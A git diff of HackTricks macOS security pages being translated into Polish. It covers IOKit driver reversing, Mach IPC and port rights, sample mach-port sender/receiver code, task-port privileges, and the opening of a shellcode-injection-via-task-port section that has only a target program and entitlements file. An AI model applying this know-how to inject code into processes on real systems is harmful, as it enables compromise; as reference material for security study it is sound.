-That awful call demagled means: - +To okropne wywołanie demangled oznacza: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +Zauważ, że w poprzedniej definicji brakuje parametru **`self`**, dobra definicja to: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +W rzeczywistości możesz znaleźć prawdziwą definicję w [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +Z tą informacją możesz przepisać Ctrl+Right -> `Edit function signature` i ustawić znane typy:
-The new decompiled code will look like: +Nowy dekompilowany kod będzie wyglądać następująco:
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +Na następnym etapie musimy zdefiniować strukturę **`IOExternalMethodDispatch2022`**. Jest to open source w [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), możesz ją zdefiniować:
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +Teraz, podążając za `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, możesz zobaczyć wiele danych:
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +Zmień typ danych na **`IOExternalMethodDispatch2022:`**
-after the change: +po zmianie:
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +Jak teraz widzimy, mamy **tablicę 7 elementów** (sprawdź końcowy dekompilowany kod), kliknij, aby utworzyć tablicę 7 elementów:
-After the array is created you can see all the exported functions: +Po utworzeniu tablicy możesz zobaczyć wszystkie eksportowane funkcje:
> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> Jeśli pamiętasz, aby **wywołać** funkcję **eksportowaną** z przestrzeni użytkownika, nie musimy wywoływać nazwy funkcji, ale **numer selektora**. Tutaj możesz zobaczyć, że selektor **0** to funkcja **`initializeDecoder`**, selektor **1** to **`startDecoder`**, selektor **2** **`initializeEncoder`**... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..2dae36b7d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -6,108 +6,103 @@ ### Basic Information -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Mach używa **zadań** jako **najmniejszej jednostki** do dzielenia zasobów, a każde zadanie może zawierać **wiele wątków**. Te **zadania i wątki są mapowane 1:1 na procesy i wątki POSIX**. -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +Komunikacja między zadaniami odbywa się za pośrednictwem Mach Inter-Process Communication (IPC), wykorzystując jednokierunkowe kanały komunikacyjne. **Wiadomości są przesyłane między portami**, które działają jak **kolejki wiadomości** zarządzane przez jądro. -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +Każdy proces ma **tabelę IPC**, w której można znaleźć **porty mach procesu**. Nazwa portu mach to tak naprawdę liczba (wskaźnik do obiektu jądra). -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +Proces może również wysłać nazwę portu z pewnymi prawami **do innego zadania**, a jądro sprawi, że ten wpis w **tabeli IPC drugiego zadania** się pojawi. ### Port Rights -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +Prawa portu, które definiują, jakie operacje zadanie może wykonać, są kluczowe dla tej komunikacji. Możliwe **prawa portu** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **Prawo odbioru**, które pozwala na odbieranie wiadomości wysyłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że w całym systemie może być tylko **jedno prawo odbioru dla każdego portu** (w przeciwieństwie do rur, gdzie wiele procesów może posiadać deskryptory plików do końca odczytu jednej rury). +- **Zadanie z prawem odbioru** może odbierać wiadomości i **tworzyć prawa wysyłania**, co pozwala mu na wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbioru nad swoim portem**. +- **Prawo wysyłania**, które pozwala na wysyłanie wiadomości do portu. +- Prawo wysyłania może być **klonowane**, więc zadanie posiadające prawo wysyłania może sklonować to prawo i **przyznać je trzeciemu zadaniu**. +- **Prawo wysyłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie znika. +- **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usunięcie wiadomości z zestawu portów usuwa wiadomość z jednego z portów, które zawiera. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unixie. +- **Martwa nazwa**, która nie jest rzeczywistym prawem portu, ale jedynie miejscem zastępczym. Gdy port zostaje zniszczony, wszystkie istniejące prawa portu do portu zamieniają się w martwe nazwy. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA mogą być również klonowane, więc zadanie może skopiować i przyznać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer bootstrap**, umożliwia skuteczną komunikację między zadaniami. ### File Ports -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +Porty plikowe pozwalają na enkapsulację deskryptorów plików w portach Mac (używając praw portu Mach). Możliwe jest utworzenie `fileport` z danego FD za pomocą `fileport_makeport` i utworzenie FD z fileportu za pomocą `fileport_makefd`. ### Establishing a communication #### Steps: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +Jak wspomniano, aby nawiązać kanał komunikacyjny, zaangażowany jest **serwer bootstrap** (**launchd** w mac). -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. Zadanie **A** inicjuje **nowy port**, uzyskując w tym procesie **prawo ODBIORU**. +2. Zadanie **A**, będąc posiadaczem prawa ODBIORU, **generuje prawo WYSYŁANIA dla portu**. +3. Zadanie **A** nawiązuje **połączenie** z **serwerem bootstrap**, podając **nazwę usługi portu** i **prawo WYSYŁANIA** poprzez procedurę znaną jako rejestracja bootstrap. +4. Zadanie **B** wchodzi w interakcję z **serwerem bootstrap**, aby wykonać bootstrap **wyszukiwanie nazwy usługi**. Jeśli się powiedzie, **serwer duplikuje prawo WYSYŁANIA** otrzymane od Zadania A i **przesyła je do Zadania B**. +5. Po uzyskaniu prawa WYSYŁANIA, Zadanie **B** jest w stanie **sformułować** **wiadomość** i wysłać ją **do Zadania A**. +6. W przypadku komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z **prawem ODBIORU** i **prawem WYSYŁANIA**, a następnie przekazuje **prawo WYSYŁANIA do Zadania A**, aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa). -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +Serwer bootstrap **nie może uwierzytelnić** nazwy usługi, którą zadanie twierdzi, że posiada. Oznacza to, że **zadanie** może potencjalnie **podszywać się pod dowolne zadanie systemowe**, na przykład fałszywie **twierdząc, że ma nazwę usługi autoryzacji** i następnie zatwierdzając każdą prośbę. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w zabezpieczonych plikach konfiguracyjnych, znajdujących się w **katalogach chronionych przez SIP**: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi, **przechowywana jest również powiązana binarka**. Serwer bootstrap utworzy i zachowa **prawo ODBIORU dla każdej z tych nazw usług**. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +Dla tych zdefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy przepływ pracy wygląda następująco: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- Zadanie **B** inicjuje bootstrap **wyszukiwanie** dla nazwy usługi. +- **launchd** sprawdza, czy zadanie działa, a jeśli nie, **uruchamia** je. +- Zadanie **A** (usługa) wykonuje **rejestrację bootstrap**. Tutaj serwer **bootstrap** tworzy prawo WYSYŁANIA, zatrzymuje je i **przekazuje prawo ODBIORU do Zadania A**. +- launchd duplikuje **prawo WYSYŁANIA i wysyła je do Zadania B**. +- Zadanie **B** generuje nowy port z **prawem ODBIORU** i **prawem WYSYŁANIA**, a następnie przekazuje **prawo WYSYŁANIA do Zadania A** (usługa), aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa). -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +Jednak ten proces dotyczy tylko zdefiniowanych zadań systemowych. Zadania nie-systemowe nadal działają zgodnie z opisem pierwotnym, co może potencjalnie umożliwić podszywanie się. ### A Mach Message [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: - +Funkcja `mach_msg`, zasadniczo wywołanie systemowe, jest wykorzystywana do wysyłania i odbierania wiadomości Mach. Funkcja wymaga, aby wiadomość do wysłania była pierwszym argumentem. Ta wiadomość musi zaczynać się od struktury `mach_msg_header_t`, a następnie zawierać rzeczywistą treść wiadomości. Struktura jest zdefiniowana w następujący sposób: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +Procesy posiadające _**prawo odbioru**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadawcy** otrzymują _**prawo wysyłania**_ lub _**prawo wysyłania-jednorazowego**_. Prawo wysyłania-jednorazowego jest przeznaczone wyłącznie do wysyłania pojedynczej wiadomości, po czym staje się nieważne. -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku **wiadomości mach** zwanym _portem odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Flagi bitowe w **`msgh_bits`** mogą być używane do **wskazania**, że **prawo wysyłania-jednorazowego** powinno być uzyskane i przeniesione dla tego portu (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> Zauważ, że tego rodzaju komunikacja dwukierunkowa jest używana w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zwykle tworzone są różne porty**, jak wyjaśniono wcześniej, aby stworzyć komunikację dwukierunkową. -The other fields of the message header are: +Inne pola nagłówka wiadomości to: -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_size`: rozmiar całego pakietu. +- `msgh_remote_port`: port, na który ta wiadomość jest wysyłana. +- `msgh_voucher_port`: [vouchery mach](https://robert.sesek.com/2023/6/mach_vouchers.html). +- `msgh_id`: identyfikator tej wiadomości, który jest interpretowany przez odbiorcę. > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports +> Zauważ, że **wiadomości mach są wysyłane przez \_port mach\_**, który jest **jednym odbiorcą**, **wieloma nadawcami** kanałem komunikacyjnym wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w danym momencie tylko **jeden proces może odczytać** z niego. +### Wyliczanie portów ```bash lsmp -p ``` +Możesz zainstalować to narzędzie w iOS, pobierając je z [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### Przykład kodu -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +Zauważ, jak **nadawca** **przydziela** port, tworzy **prawo wysyłania** dla nazwy `org.darlinghq.example` i wysyła je do **serwera bootstrap**, podczas gdy nadawca prosił o **prawo wysyłania** tej nazwy i użył go do **wysłania wiadomości**. {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### Porty uprzywilejowane -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **Port hosta**: Jeśli proces ma **przywilej wysyłania** na tym porcie, może uzyskać **informacje** o **systemie** (np. `host_processor_info`). +- **Port uprzywilejowany hosta**: Proces z **prawem wysyłania** na tym porcie może wykonywać **uprzywilejowane akcje**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie. +- Ponadto, aby wywołać API **`kext_request`**, potrzebne są inne uprawnienia **`com.apple.private.kext*`**, które są przyznawane tylko binarnym plikom Apple. +- **Port nazwy zadania:** Nieuprzywilejowana wersja _portu zadania_. Odnosi się do zadania, ale nie pozwala na jego kontrolowanie. Jedyną rzeczą, która wydaje się być dostępna przez ten port, jest `task_info()`. +- **Port zadania** (znany również jako port jądra)**:** Z uprawnieniem wysyłania na tym porcie możliwe jest kontrolowanie zadania (odczyt/zapis pamięci, tworzenie wątków...). +- Wywołaj `mach_task_self()`, aby **uzyskać nazwę** dla tego portu dla wywołującego zadania. Ten port jest tylko **dziedziczony** przez **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (w szczególnym przypadku, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["tańca wymiany portów"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) podczas wykonywania `fork()`. +- Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego pliku `AppleMobileFileIntegrity`): +- Jeśli aplikacja ma **uprawnienie `com.apple.security.get-task-allow`**, procesy z **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zwykle dodawane przez Xcode do debugowania). Proces **notaryzacji** nie pozwoli na to w wersjach produkcyjnych. +- Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywało się to **`task_for_pid-allow`**. To uprawnienie jest przyznawane tylko aplikacjom Apple. +- **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **wzmocnionym** czasem wykonywania (i nie od Apple). -### Shellcode Injection in thread via Task port +### Wstrzykiwanie shellcode w wątek za pomocą portu zadania -You can grab a shellcode from: +Możesz pobrać shellcode z: {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**Skompiluj** poprzedni program i dodaj **uprawnienia**, aby móc wstrzykiwać kod z tym samym użytkownikiem (w przeciwnym razie będziesz musiał użyć **sudo**).
